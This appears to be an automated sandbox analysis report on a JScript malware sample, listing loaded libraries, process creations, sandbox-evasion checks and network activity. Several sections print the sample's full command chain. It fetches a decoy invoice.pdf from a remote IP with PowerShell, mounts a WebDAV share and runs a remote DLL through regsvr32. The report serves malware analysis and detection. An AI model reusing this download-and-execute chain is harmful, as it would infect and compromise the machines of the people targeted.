Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5847.js.csv");ITextStream.WriteLine(" entry:8175 f:abhtle");ITextStream.WriteLine(" exec:2 f:abhtle");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5531			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3907			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3556	Thread sleep count: 5531 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3556	Thread sleep count: 3907 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6544	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7020	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6084	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6120	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5796	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 936	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3425750958.0000027B2742B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpl
Source: net.exe, 00000007.00000002.2229773265.000001E3B3501000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm
Source: net.exe, 00000007.00000002.2229773265.000001E3B3501000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229773265.000001E3B3498000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3427647626.0000027B2CA54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
